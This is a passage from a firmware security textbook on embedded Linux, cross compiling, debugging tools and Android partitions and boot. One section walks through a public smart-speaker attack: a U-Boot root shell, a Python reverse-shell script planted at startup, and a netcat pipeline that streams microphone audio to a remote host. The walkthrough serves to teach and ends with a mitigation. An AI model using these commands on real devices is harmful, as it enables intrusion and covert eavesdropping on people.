rc = snd_pcm_open(&handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0); //Assign a hardware parameter object and fill it with the default value snd_pcm_hw_params_alloca(¶ms); snd_pcm_hw_params_any(handle, params); //Customize hardware parameters //Define whether it is interleaved snd_pcm_hw_params_set_access(handle, params, SND_PCM_ACCESS_RW_INTERLEAVED); //Define the sample format as: signed 16-bit little-endian storage snd_pcm_hw_params_set_format(handle, params, SND_PCM_FORMAT_S16_LE); //Defined as stereo snd_pcm_hw_params_set_channels(handle, params, 1); //sample rate is 44100Hz val = 16000; snd_pcm_hw_params_set_rate_near(handle, params, &val, &dir); //One cycle is 32 frames frames = 32; snd_pcm_hw_params_set_period_size_near(handle, params, &frames, &dir); //Write the set hardware parameters into the configuration rc = snd_pcm_hw_params(handle, params); //Set the size of the buffer //Sample size of 16 bits * 2 channels = 4 bytes snd_pcm_hw_params_get_period_size(params, &frames, &dir); size = frames * 4; buffer = (char *) malloc(size); //Calculate the cycle time and set the playback time to 5 seconds and calculate the number of cycles based on the time snd_pcm_hw_params_get_period_time(params,&val, &dir); loops = 5000000 / val; //Write to the hardware buffer cyclically while (loops > 0) { loops--; //Read data into the application buffer; omit the return value judgment rc = read(0, buffer, size); //Write buffer to hardware buffer rc = snd_pcm_writei(handle, buffer, frames); //EPIPE indicates that underrun has occurred if (rc == -EPIPE) { fprintf(stderr, "underrun occurred\n");
92
3 Basic Knowledge of Firmware snd_pcm_prepare(handle); } } //Close the interface and omit other calls snd_pcm_close(handle);
3.2.6
Cross Compiling
3.2.6.1
Cross Compiling Toolchain
Cross compiling refers to compiling and building applications running on embedded devices on the host system, for example, compiling and running applications on ARM architecture embedded devices on a personal computer of 86 architecture. Cross compiling is often used in embedded development, because the software and hardware resources on the embedded device are limited and the compilation environment cannot be established. The tools used for cross compiling are generally called cross compilation toolchains, including compilers, linkers, etc. The following is an introduction to Buildroot, a build tool for embedded Linux systems. As an open-source automated embedded Linux system build tool, Buildroot is an instruction set of Makefile and patch that can simplify the process of building a complete embedded Linux system. After configuration, it can automatically build the required cross compiling toolchain, create the root file system, compile the Linux kernel image, generate the bootloader of the target system, or configure it to complete several steps. Buildroot has many functions. This book only introduces the use of Buildroot to build a cross compiling toolchain, which can be downloaded from the official website https://buildroot.org/download.html. This example uses version 2018.02.7. Unzip and enter the Buildroot directory, execute: $ make menuconfig
The interface is shown in Fig. 3.4. Select target options. For example, select the target architecture as little-endian ARM, and the binary program is ELF format and the CPU is cortex-A12, and the target binary application program interface is EABI (Embedded Application Binary Interface, which will be introduced later). The floating-point strategy is VFPv4-D16, and the instruction set is ARM (Fig. 3.5). In the Toolchain settings, we can choose the C standard library, gcc version, etc. (Fig. 3.6). Then save the configuration file. Execute the following instruction to compile: $ make
3.2 Overview of Embedded Linux System
93
Fig. 3.4 The main interface of buildroot
Fig. 3.5 Buildroot target options settings
Output files and put them in the output/ folder. The cross compiling toolchain is in the output/host/usr/bin directory. The file names are: arm-buildroot-linuxuclibcgnueabi-gcc, arm-buildroot-linux-uclibcgnueabi-ld, arm-buildroot-linuxuclibcgnueabi-as. The naming format of the cross compiling device is not strictly regulated. The general naming format is: arch [-vendor] [-os] [-(gnu)eabi] – toolname
94
3 Basic Knowledge of Firmware
Fig. 3.6 Buildroot toolchain settings
arch represents the target architecture including arm, mips, 86, i686, etc.; vendor represents the providers of cross compiling toolchain such as Apple, Linux, buildroot; os represents the target operating system, including linux, none (no operating system); abi stands for binary application program interface including eabi, gnueabi, gnueabihf. Application Binary Interface represents the low-level interface between two binary program modules and defines the data type size and layout, function calling conventions, and system call methods. eabi (Embedded Application Binary Interface) is regarded as the application binary interface of the embedded platform. gnueabi and gnueabihf are applicable to armel architecture and armhf architecture, respectively, and the floating-point calculation strategy is different. For example, arm-buildroot-linux-uclibcgnueabi-gcc is suitable for armel architecture, linux operating system. Its provider is buildroot and it uses uclibc's C standard library gcc tool.
3.2.6.2
Example of Cross Compiling: Cross Compiling ARM Program with Alsa Library
For example, this section uses the arm-linux-gnueabihf toolchain cross compiling to call the ARM program of the alsa audio library to play audio to illustrate the general process of the cross compiling program. The target device is a smart speaker, with embedded Linux system, armv7l architecture, and built-in alsa library. The host is 86_64 architecture, Ubuntu 18.08 system. First install the necessary dependencies:
3.2 Overview of Embedded Linux System
95
$ sudo apt-get install libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi libncurses5-dev
Install arm-linux-gnueabihf toolchain: $ sudo apt-get install gcc-arm-linux-gnueabihf g++-arm-linuxgnueabihf
Download alsa lib, cross compiling alsa library: $ ./configure --host=arm-linux-gnueabihf --prefix=/usr/lib/armlinux-gnueabihf --enable-shared --disable-python CC=arm-linuxgnueabihf-gcc CXX=arm-linux-gnueabihf-g++ $ make $ make install
Put the compiled libasound.so library into the lib folder of the cross compiling toolchain, namely /usr/arm-linux-gnueabihf/lib. The sample code for playing sound in cross compiling Sect. 3.2.6 is: $ arm-linux-gnueabihf-gcc playaudio.c -o playaudio -L/usr/armlinux-gnueabihf/lib -lasound
Put the compiled program on the device and run it. If we can't find the library, put the corresponding library of the host cross compiling into the device, and use LD_LIBRARY_PATH environment variables or specify the path of the library when compiling with the -rpath parameter.
3.2.7
Debug and Binary Tools
3.2.7.1
BusyBox
BusyBox, called the “Swiss Army Knife of Embedded Linux” by the designer, is an executable file containing more than 300 streamlined Unix tools and is particularly suitable for embedded devices with limited resources. It is an open-source software that can be run in many POSIX (portable operating system interface) operating systems, including Linux, Android, FreeBSD, etc. Busybox supports almost all common instructions, such as file-related (such as ls, cp, mv, rm, tar), networkrelated (such as nc, ifconfig, netstat, telnet, ping), text operations (such as cat, vi, head, tail, awk, sed), system management (such as ps, kill, free, top), etc. If you run busybox without any parameters, some basic information and supported instructions will be output. We can use the instruction supported in BusyBox, such as ls:
96
3 Basic Knowledge of Firmware $ ./busybox ls
Creating a link to busybox with the same name as instruction is seen as a more common method. Busybox calls the corresponding instruction by reading the argv [0] parameter (namely instruction name) during the call. For example: $ ls –lh lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 -rwxr-xr-x 1 marvelteam marvelteam 366K April lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 lrwxrwxrwx 1 marvelteam marvelteam 7 April 9 . . .. . .
2018 ash -> busybox 9 2018 busybox 2018 cat -> busybox 2018 chgrp -> busybox 2018 chmod -> busybox 2018 chown -> busybox 2018 cp -> busybox 2018 date -> busybox 2018 dd -> busybox 2018 df -> busybox 2018 dmesg -> busybox 2018 echo -> busybox 2018 egrep -> busybox 2018 false -> busybox 2018 fgrep -> busybox
$ ./ls //is equal to./busybox ls
Download BusyBox from the official website: https://www.busybox.net/. After cross compiling, run in the embedded device. If interested, readers can test it.
3.2.7.2
GDB and gdbserver
GDB (GNU Debugger), as an instruction-based debugging tool released by the GNU open source organization, is run on Unix and Unix-like platforms and is suitable for multiple programming languages. GDB, which supports program debugging with source code and reverse analysis of binary programs without source code, can be used to set breakpoints to interrupt program execution, view or modify the value of program internal variables, track and change program execution paths, etc. We use the following instruction to enter the GDB interactive mode: $ gdb
Table 3.8 shows the commonly used GDB instructions. Embedded devices with limited resources generally use gdbserver and gdb for remote debugging. gdbserver runs on the device and needs to be obtained after cross compiling. The parameters at runtime are:
3.2 Overview of Embedded Linux System
97
Table 3.8 Commonly used GDB instruction Instruction file
Abbreviation None
Functions Load the debugged executable file Attach to a running process Start running the program Continue to run the program until the end Run the next line of code without following up the function call
Instruction format file
attach run continue
None r c
next
n
nexti
ni
Run the next line of machine instruction without following up the function call
step
s
Run the next line of code and follow up the function call
stepi
si
Run the next line of machine instruction and follow up the function call
break
b
Set breakpoint
info breakpoints delete breakpoints info register call print examine
ib
View breakpoint information
next (count). If count is added, then count instructions will be executed; if not, one instruction will be executed nexti (count). If count is added, then count instructions will be executed; if not, one instruction will be executed step (count). If count is added, then count instructions will be executed; if not, one instruction will be executed stepi (count). If count is added, then count instructions will be executed; if not, one instruction will be executed break info breakpoints
db
Remove breakpoint
delete breakpoints
ir
View register information
info register
None p x
Call functions Print expression Output the value of an address in memory
call print x/ . n/f/u is an optional parameter; n is a positive integer representing the number of memory units to be printed; f represents the format of printing; u represents the number of bytes printed in a unit
attch run continue
1. The device name is required when using the serial interface; the port number that needs to be opened when using the LAN connection. 2. The file name of the program to be debugged or the process number of the process. The parameters when gdb runs on the host are:
98
3 Basic Knowledge of Firmware
1. The file name of the program to be debugged or the process number of the process. 2. The device name required for serial interface connection, and the ip and port number required for LAN connection, such as: //On the remote device (in this case, mips architecture, debugging httpd program): $ gdbserver :5678 /usr/sbin/httpd //On the host: $ mips-linux-gdb ./httpd (gdb) target remote 192.168.50.1:5678
Specific examples of gdbsever remote debugging will be introduced in Chap. 6.
3.2.7.3
Binary Utilities
Binary Utilities (Binutils), as a tool for the construction and management of binary programs, object files, libraries, assembly source code, etc., include compilation and construction tools as, ld, gcc, object file editing and viewing tools objcopy, objdump, and readelf, the viewing tool of ELF files. Table 3.9 shows the common binary tools.
3.2.8
Example: Analysis of a Physical Contact Implantation Vulnerability of a Smart Speaker
Finally, this section will take a smart speaker as an example to demonstrate how to change the external SD card to enter U-Boot, and obtain the root shell of the UART serial interface and implant the listener after the system is started by changing the environment variables. A smart speaker (made in 2015 and 2016) has a malware implantation vulnerability. The speaker supports booting from an external SD card, so the attacker can Table 3.9 Commonly used binary tools Tool as ld gcc objcopy objdump strings readelf strip
Functions Assembler Linker GNU compiler collection, GNU compiler collection Copy or format conversion of target files Display information about the target file List printable strings in the file Print the contents of the ELF file Remove symbol information from the target file
3.2 Overview of Embedded Linux System
99
modify the startup parameters and obtain the speaker's root privileges through physical contact; then, by writing malware into the file system, the speaker can be monitored and remotely controlled in real time. The attack process can leave no physical traces. This attack was first implemented by British security researcher Mark Barnes in August 2017, and the process of exploiting the vulnerability has also been introduced. The implantation attack only applies to speakers produced in 2015 and 2016, and the vulnerabilities of devices produced in 2017 and after have been fixed.
3.2.8.1
Analysis of Serial Interface
After uncovering the soft pad at the bottom of the device, we can see the serial interface shown in Fig. 3.7. Connect the UART interface to the computer, we can get the startup information (Code 3.1). The speaker uses Texas DM3725 chip. When booting, bootrom loads X-loader into MCU RAM after completing some hardware configuration, then loads U-Boot, and finally loads the kernel. In addition, the speaker is configured to first try to boot from the external SD card; it will boot from the eMMC if it fails to boot from the SD card, which is determined by the hardware and cannot be modified by software. Therefore, we can boot from an external SD card and enter the post-uboot instruction mode and modify the system startup configuration to obtain a shell.
VCC +15V
VCC +15V
Power LED
GND
UART RX
SDMMC Clock
Network LED
GND
Reset
SDMMC Power 3V
SDMMC D2
SDMMC D3
UART TX
GND
SDMMC DO
GND
Fig. 3.7 Serial interface
SDMMC CMD
SDMMC D1
100
3.2.8.2
3 Basic Knowledge of Firmware
Get the Shell by Starting with the External SD Card
Copy the debian system to the SD card and connect the serial interface and SD module. We can boot from an external SD card. The device can be started by the SD card in two ways. First, start the entire system through the SD card, which requires connecting all related serial interfaces in Fig. 3.2 to the SD module [3]; second, enter the U-Boot through the SD card, and then start the device eMMC. We use the second method this time. The connection is as follows: SDMMC D0 -> MISO SDMMC D3 -> CS SDMMC CMD -> MOSI SDMMC CLOCK -> CLK SDMMC POWER -> +3V power GND -> GND
After the wiring is completed, the device is connected to the SD module and the UART interface (Fig. 3.8). Insert the SD card and connect the UART interface to the computer; start the device and enter the uboot instruction line. View the location of the file system: //Select the current device as mmc1 uboot> mmc dev 1 //View the contents of mmc1p6. If there is a file system, use mmc1p6 below uboot> ext4ls mmc 1:6 //View the contents of mmc1p7. If there is a file system, use mmc1p7 below uboot> ext4ls mmc 1:7
Modify environment variables: Fig. 3.8 Example of wiring
3.2 Overview of Embedded Linux System
101
Fig. 3.9 Get the shell after startup //Choose to start the mmc partition as 1:6 or 1:7, depending on the file system location uboot> setenv mmc_part 1:6 //Set the root file system to mmcblk1p6 or mmcblk1p7, depending on the file system location uboot> setenv root /dev/mmcblk1p6 //Set to open /bin/sh at startup uboot> setenv mmcargs 'setenv bootargs console=${console} root= ${root} ${mount_type} rootfstype=ext3 rootwait ${config_extra} init=/ bin/sh' //Set mount as read-write uboot> setenv mount_type rw //Start uboot> boot
In addition, SD card and device built-in system will be recognized as mmc0 or mmc1, respectively. If it cannot be started normally, we can switch to mmc0, and the instruction is changed to mmcblk0 accordingly. After successful startup, we can get the shell (Fig. 3.9). In order to prevent the system from restarting after a period of time, we can open the system's own program (/var/local/bin/watchdogd) to reset the restart timer regularly.
3.2.8.3
Implant Code in Order to Reverse Shell After Startup
The eMMC of the device includes the following partitions: 1. 2. 3. 4. 5. 6. 7. 8.
xloader recovery boot idme diag main-A main-B data
102
3 Basic Knowledge of Firmware
Fig. 3.10 Mount the data partition
The file system may be changed between main-A and main-B before and after the update. If both partitions do not have file systems, it may be because they are being updated and need to wait for the update to complete. The data partition will be mounted to the /var directory when the device starts. Manually mount the data partition to the /var directory (Fig. 3.10). mount -t ext3 /dev/mmcblk1p8 /var
Create pythonscript in this directory. Code 3.12 Create Pythonscript that Reverses the Shell revShell.py: #!/usr/bin/python import socket,subprocess,os host = "172.27.172.1" #The address of the remote server port = 1337 while True: try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) s.connect((host,port)) p = subprocess.call(["/bin/sh","-i"]) s.close() except Exception as e: s.close() continue
Set the startup revShell.py. Write it in the script that starts automatically at startup. For example, add a line in /var/init.d/varlocal.sh: exec python /var/revShell.py &
We can get the shell by listening on port 1337 on the remote server (Fig. 3.11).
3.2 Overview of Embedded Linux System
103
Fig. 3.11 Obtaining a remote shell
Fig. 3.12 List of shm files
3.2.8.4
Implant Code for Remote Monitoring
As a 2M memory area allocated by the system, the BMics.Shm file can use the shmbuf_tool that comes with the speaker to write the audio stream file into the pipeline and send it to the server. Figure 3.12 shows the shm file column. The instruction to send audio remotely in real time:
104
3 Basic Knowledge of Firmware
Fig. 3.13 The interface of real-time monitoring #!/bin/sh mkfifo /tmp/spy cat /tmp/spy | nc 172.27.172.1 1338 & shmbuf_tool -m 2 -s 1 -S BMicsOut.shm -o /tmp/spy &
The instruction to receive the audio stream and play it on the server: nc -lp 1338|sox -t raw -r 16k -e signed-integer -b 16 -c 1 - -t wav -| ffplay – 或: nc -lp 1338 | aplay -f S16_BE -c 1 -r 16000
Environmental noise can be appropriately reduced: # sox in.ext out.ext trim {start: s.ms} {duration: s.ms} sox audio.wav noise-audio.wav trim 0 0.900 sox noise-audio.wav -n noiseprof noise.prof
Noise reduction and real-time playback: nc -lp 1338 | sox -t raw -r 16k -e signed-integer -b 16 -c 1 - -t wav noisered noisesample.prof 0.3 | ffplay –
Or it can be saved as a wav file: nc -lp 1338 | sox -t raw -r 16k -e signed-integer -b 16 -c 1 - saved.wav
Figure 3.13 shows the interface of real-time monitoring.
3.3 Overview of the Android System
3.2.8.5
105
Improvement Measures
The vulnerability only exists in the first generation version produced in 2015 and 2016 and the 2017 version has been patched, by directly removing the function of booting from an external SD card on the motherboard. When using a device with this vulnerability, we can press the close microphone button to make the device unable to read the microphone data.
3.3 3.3.1
Overview of the Android System Introduction
The Android system is an open-source operating system designed for touch screen mobile devices currently maintained by Google. In 2003, Andy Rubin and his colleagues founded the Android company and developed the Android system. Their company was acquired by Google in 2005. In 2007, Google released Android 1.0, which surpassed Nokia's Symbian in market share two years later as the largest smartphone operating system. In March 2017, it became the world's largest operating system. The main hardware platform of the Android system is ARM architecture, whose high-end version also supports 86 and 86_64. Starting from Android 1.5, the major versions of the Android system are named in alphabetical order and named after desserts. Table 3.10 shows the version names starting from Android 1.5. AOSP (android open-source project) is an Android open-source project maintained by Google. Its address is https://source.android.com/, and in the AOSP community you can find the information needed for Android development and the Table 3.10 The names of android versions
Version 1.5 1.6 2.0–2.1 2.2–2.2.3 2.3–2.3.7 3.0–3.2.6 4.0–4.0.4 4.1–4.3.1 4.4–4.4.4 5.0–5.1.1 6.0–6.0.1 7.0–7.1.2 8.0–8.1 9.0.0
Name Cupcake Donut Eclair Froyo Gingerbread Honeycomb Ice Cream Sandwich Jelly Bean KitKat Lollipop Marshmallow Nougat Oreo Pie
Date April 27, 2009 September 15, 2009 October 26, 2009 May 20, 2010 December 6, 2010 February 22, 2011 October 18, 2011 July 9, 2012 October 31, 2013 November 12, 2014 October 5, 2015 August 22, 2016 August 21, 2017 August 6, 2018
106 Fig. 3.14 Software stack of android system
3 Basic Knowledge of Firmware
Application homepage, contacts, weather JAVA Application Program Interface Framework Activity Manager, Package Manager ,etc. System Runtime libc, SQLite,SSL ,etc.
ART and core libraries
Hardware Abstraction Layer Wi-Fi interface, video interface, GPS interface, etc. Linux Kernel Bluetooth, USB,Wi-Fi, audio and vdeo, etc
source code of each version. The Android system is based on a modified Linux kernel and other open source software. From low to high level, it is called the software stack of the Android system, which includes the Linux kernel, hardware abstraction layer, function library and ART (Android RunTime, used by Android 5.0 and later), application framework, and applications (Fig. 3.14). 1. Linux kernel: Android system kernel refers to a branch of the Linux kernel. Earlier versions such as Android 1.5 are built on Linux 2.6, and Android 7.0 and later versions use Linux 4.4 and later kernels. 2. HAL (Hardware Abstraction Layer) refers to the encapsulation of Linux drivers, which is an abstract structure between the Android kernel and the application layer. HAL belongs to user space, and Linux driver belongs to kernel space. HAL aims to provide a unified API for calling the upper framework interface, so that the Android upper framework does not rely too much on the Linux kernel driver. 3. System runtime library: The C standard library of Android is Bionic specially developed by Google for the Android system, which is a code modification from the C standard library of the BSD system. Compared with glibc and uClibc, it occupies less space, and has smaller memory, and optimizes low-frequency CPU. In addition to the C standard library, there are media libraries, browser engines, graphics engines, database engines, etc. 4. ART: Android Runtime is the operating environment for Android applications. It was released as a test function in Android4.4 and it is officially used in Android5.0 and later versions. This replaces the previous Dalvik virtual machine. Dalvik uses JIT (Just-in-time compilation), that is, just-in-time compilation, which means that the bytecode is converted into machine code by a just-in-time compiler at runtime. When the ART virtual machine is installed for the first time, it is pre-compiled (Ahead-Of Time, AOT) and the bytecode is converted into machine code and stored locally. This will reduce the execution time but requires more storage space. 5. Java application programming interface (API) framework: Android provides developers with a large number of API interfaces and simplifies the reuse of
3.3 Overview of the Android System
107
components, including View, Content Providers, Package Manager, Resource Manager, Activity Manager, Window Manager, etc. 6. Application programs: Applications (APP) usually written in Java language are used as programs that directly interact with users and provide services, and support programming languages such as C++ and go. The ASOP community provides a software development kit (SDK) for the Android system that contains the necessary tools for application development, so developers can easily build applications. The core applications that come with Android include maps, calendars, browsers, contacts, etc. In the Android application market, it can be installed by downloading a third-party application package (Android PacKage, APK).
3.3.2
File System
Table 3.11 shows the partition structure of common Android systems. For example, when a smart device of an Android system is started, the startup log output by the serial interface shows the system partition as Code 3.13. Code 3.13 Partition Information of an Android System Smart Device [PART] blksz: 512B [PART] [0x0000000000080000-0x000000000037FFFF] "proinfo" (6144 blocks) [PART] [0x0000000000380000-0x000000000087FFFF] "nvram" (10240 blocks) [PART] [0x0000000000880000-0x000000000127FFFF] "protect1" (20480 blocks) [PART] [0x0000000001280000-0x0000000001C7FFFF] "protect2" (20480 blocks) [PART] [0x0000000001C80000-0x0000000001CFFFFF] "lk" (1024 blocks) [PART] [0x0000000001D00000-0x0000000001D7FFFF] "para" (1024 blocks) [PART] [0x0000000001D80000-0x0000000002D7FFFF] "boot" (32768 blocks) [PART] [0x0000000002D80000-0x0000000003D7FFFF] "recovery" (32768 blocks) [PART] [0x0000000003D80000-0x000000000457FFFF] "logo" (16384 Table 3.11 Common android system partition structure Partition Bootloader Boot Recovery System Userdata Cache Misc Sdcard Tee
Functions The partition where the system boot program is located Contains the necessary files and configurations for device startup Same format as boot partition, alternative boot partition used for system recovery Contains the remaining file system except the part contained in the boot partition Partition to save user data, including some application data, etc. Store data and application components that need to be accessed frequently Enable/disable configuration that saves the system configuration or system function Device's external SD card storage partition Trusted execution environment partition
108
3 Basic Knowledge of Firmware
blocks) [PART] [0x0000000004580000-0x0000000004F7FFFF] "expdb" (20480 blocks) [PART] [0x0000000004F80000-0x0000000004FFFFFF] "seccfg" (1024 blocks) [PART] [0x0000000005000000-0x00000000051FFFFF] "oemkeystore" (4096 blocks) [PART] [0x0000000005200000-0x00000000057FFFFF] "secro" (12288 blocks) [PART] [0x0000000005800000-0x0000000005FFFFFF] "keystore" (16384 blocks) [PART] [0x0000000006000000-0x00000000064FFFFF] "tee1" (10240 blocks) [PART] [0x0000000006500000-0x00000000069FFFFF] "tee2" (10240 blocks) [PART] [0x0000000006A00000-0x0000000006AFFFFF] "frp" (2048 blocks) [PART] [0x0000000006B00000-0x000000001FAFFFFF] "voice" (819200 blocks) [PART] [0x000000001FB00000-0x0000000021AFFFFF] "nvdata" (65536 blocks) [PART] [0x0000000021B00000-0x0000000023FFFFFF] "metadata" (75776 blocks) [PART] [0x0000000024000000-0x0000000083FFFFFF] "system" (3145728 blocks) [PART] [0x0000000084000000-0x000000009CFFFFFF] "cache" (819200 blocks) [PART] [0x000000009D000000-0x00000003A2D7FFFF] "userdata" (25357312 blocks) [PART] [0x00000003A2D80000-0x00000003A3D7FFFF] "flashinfo" (32768 blocks)
In this example, the bootloader partition of the device is named “lk” (little kernel), which is used by Qualcomm, MTK, and other chip manufacturers generally as a system boot program. In addition to the partitions listed in Table 3.11, the device actually has other partitions that are not introduced in this book. The boot, system, and userdata partitions are regarded as the more important partitions in the device, which are introduced below. In Sect. 3.3.4, this book will introduce the recovery partition.
3.3.2.1
Boot Partition
The file format is the boot partition of the bootimg format developed by Android, which contains the kernel and the root file system (ramdisk). The bootimg file format generally has three parts: file header, kernel, and ramdisk. As an optional structure, the second stage is the content loaded in the second stage of initialization (Fig. 3.15). The file header defined in bootimg.h in the Android source code is as follows:
3.3 Overview of the Android System
109
Fig. 3.15 The bootimg format of android system
Magic Kernel_size Kernel_addr File Header
Ramdisk_size Ramdisk_addr
Padding
Second_size
Kernel
Second_addr Tags_addr
Padding Root File System
Page_size Cmdline
Padding Second stage
struct boot_img_hdr { unsigned char magic[BOOT_MAGIC_SIZE]; /* magic is “ANDROID!” */ unsigned kernel_size; /* The size of the kernel, in bytes */ unsigned kernel_addr; /* Kernel offset address */ unsigned ramdisk_size; /*The size of the root file system, in bytes */ unsigned ramdisk_addr; /* The offset address of the root file system */ unsigned second_size; /* The size of the second stage */ unsigned second_addr; /* Offset address of second stage*/ unsigned tags_addr; /* Offset address of kernel tag */ unsigned page_size; /* page size */ unsigned unused[2]; /* unused */ unsigned char name[BOOT_NAME_SIZE]; /* name */ unsigned char cmdline[BOOT_ARGS_SIZE]; /* Instruction to run at startup */ unsigned id[8]; /*time stamp and check etc. */ };
When the system starts, the bootloader will parse the contents of the bootimg and load each part into the set memory address. For example, a directory of the ramdisk root file system of a smart device generally contains the following files. $ ls bin init.environ.rc meta_init.modem.rc charger init.modem.rc meta_init.project.rc data init.mt8163.rc meta_init.rc default.prop init.mt8163.usb.rc proc dev init.project.rc property_contexts enableswap.sh init.radar.rc res factory_init.project.rc init.rc sbin
110
3 Basic Knowledge of Firmware
factory_init.rc init.recovery.mt8163.rc seapp_contexts file_contexts init.sensors.rc selinux_version fstab.mt8163 init.ssd.rc sepolicy init init.trace.rc service_contexts init.base.rc init.usb.rc sys init.build.rc init.wi-fi.rc system init.charging.rc init.xlog.rc ueventd.mt8163.rc init.csm.project.rc init.zygote32.rc ueventd.rc
The sbin/ directory contains binary programs that are generally used to manage the system, such as adbd and ueventd; there are many init initialization scripts in the root directory. The default.prop used to record some system settings is very important. The default.prop file of a device is as follows: //ro.secure An item identifies whether adb can obtain root privileges ro.secure=0 security.perf_harden=1 ro.allow.mock.location=0 //ro.debuggable A logo that determines whether to enable adb ro.debuggable=1 ro.zygote=zygote32 . . .. . . persist.sys.user.config=1 //Set the usb communication protocol persist.sys.usb.config=ptp sys.usb.controller=musb-hdrc.0.auto ro.gpu.boost=1 camera.disable_zsl_mode=1 . . .. . .
We can use the mkbootimg tool provided by ASOP to pack and unpack the bootimg file system. There are also other open-source tools on the Internet that do not support the extraction and packaging of dtb. The tool address used in this book is: https://github.com/xiaolu/mkbootimg_tools. Steps to unpack and pack using mkboot instruction: //Unpack boot.img to the boot folder $ ./mkboot boot.img boot/ Unpack & decompress boot.img to boot/ board : cons kernel : kernel ramdisk : ramdisk page size : 2048 kernel size : 15325636 ramdisk size : 1930565 dtb size : 110592 base : 0x00000000 kernel offset : 0x00008000 ramdisk offset : 0x05400000 tags offset : 0x00000100 dtb img : dt.img cmd line : ole=ttyS1,115200n8
3.3 Overview of the Android System
111
ramdisk is gzip format. Unpack completed. //Pack the contents of the boot folder and generate boot.img $ ./mkboot boot/ boot.img mkbootimg from boot//img_info. board : cons kernel : kernel ramdisk : new_ramdisk page size : 2048 kernel size : 15325636 ramdisk size : 1930565 dtb size : 110592 base : 0x00000000 kernel offset : 0x00008000 ramdisk offset : 0x05400000 tags offset : 0x00000100 dtb img : dt.img cmd line : ole=ttyS1,115200n8 ramdisk is gzip format. Kernel size: 15325636, new ramdisk size: 1930565, boot.img: 17371136. boot.img has been created.
3.3.2.2
System Partition
The system partition stored in the software stack of the Android system (Fig. 3.14), except for the Linux kernel, contains the binary programs of the Android system, application layer frameworks, apps, etc. The main files or directories of the system partition are: 1. /system/lib/: dynamic link library. 2. /system/bin/: The directory where the executable file is located; the executable file is generally an ELF file or shellscript. 3. /system/xbin/: Extra Binaries refers to additional executable files. Non-essential binary programs are stored in the directory. 4. /system/framework/: jar package of application framework layer. 5. /system/app/: system pre-installed applications that will not be deleted when restoring factory settings. 6. /system/priv-app/: system pre-installed applications that will not be deleted when restoring factory settings, can obtain system-level permissions. 7. /system/etc/: store configuration files similar to Linux systems. 8. /system/build.prop: a configuration file that records related configurations when the system is running. The general file system format of the system partition is EXT4 format, which is usually mounted as read-only when the device is running. The extracted system image can be directly mounted using "mount" instruction under Linux system.
112
3.3.2.3
3 Basic Knowledge of Firmware
Userdata Partition
The userdata partition mainly stores data. In general, the application installed by the user is stored in the data/app directory, and the data generated by the application is stored in the data/data directory. The userdata partition is generally mounted as readable and writable, however, some directories are subject to access control. The general file system format is EXT4 format, and the extracted userdataimage can be directly mounted using "mount" instruction under Linux system.
3.3.3
System Startup Process
Since the Android system adopts the Linux kernel, the system startup process is similar to that of the embedded Linux system in Sect. 3.2.2. Compared with the Linux system, after the kernel is started, the steps of its initialization system are somewhat different, which are introduced in the following sections in chronological order by this article.
3.3.3.1
Init Process
The kernel first starts the init process, namely, the first user mode process of the system. The init process parses the init.rcscript in the root directory of the file system and starts the service. The format of init.rcscript of the Android system is Android Init Language (AIL), and each line can be: Actions, Commands, Services, or Options. The newline character is used as the separator of each sentence and needs to be divided into multiple sections when writing. Each action or service defines a section, and the names of action and service are unique. The format of Action is as follows: on
The optional trigger is predefined by the system. Event triggers representing different stages of system startup include boot, init, late-init, etc.; the format of
3.3 Overview of the Android System
113
property triggers triggered when the property is equal to a fixed value is property:< name>¼*. command is the built-in instruction in AIL language, such as chmod, class_start, start, etc. For example: on early-init write /proc/1/oom_score_adj -1000 write /proc/sys/kernel/sysrq 0 restorecon /adb_keys mkdir /mnt 0775 root system restorecon /postinstall start ueventd
“Start ueventd” starts the service named "ueventd" with the following definition format. service [ ]*
“Name” represents the defined service; “pathname” is the program path of the service startup that can be added later. The “option” is the configuration of the service, such as critical (critical equipment service), disabled (service will not be automatically started, need to call the service name to start), class (define a category for the service). For example: service ueventd /sbin/ueventd class core critical //Modify its SELinux label to u:r:ueventd:s0 before executing the service. SELinux will be introduced in section 4.2 seclabel u:r:ueventd:s0
When parsing the init.rc file, various services defined in the file will be started, including service manager service and Zygote service. The service manager, as a process for managing system services, maintains the communication between system services and application-side programs, and all services can be used only after the service manager is registered. Zygote service will be introduced in the next section.
3.3.3.2
Start the Zygote Process
The program started by the Zygote service is app_process started by Android Runtime. The Android Runtime that allows code sharing in the Android virtual
114
3 Basic Knowledge of Firmware
machine will start the first Android virtual machine and call the main method of Zygote. Each instance of it has a copy of the core library file and heap object. Zygote will first preload the classes and resources required by the app into the memory to start the app more efficiently and quickly. It will listen to socket connection requests and wait for a new app to be launched. When it receives the request, it forks a child process and starts a new app. In other words, it is the parent process of all Android apps. Its fork, derived from the copy-on-write resource management technology implemented by the Linux kernel, maps the page of the child process to the page of the parent process, but only copies when the child process writes the page. In addition to responding to the fork request of the new app, Zygote also started the System Server process.
3.3.3.3
Start System Server
As the first process started by Zygote, System Server will initialize and register each service it manages with the service manager, including the Activity Manager service. At the end of the Activity Manager service start, the Activity Manager, which is used to create a new Activity process and manage the life cycle of the Activity process, will start the Home Launcher and wait for the onClick event of the app icon on the main interface and start an app after getting the instruction.
3.3.4
Recovery Mode
3.3.4.1
Fastboot
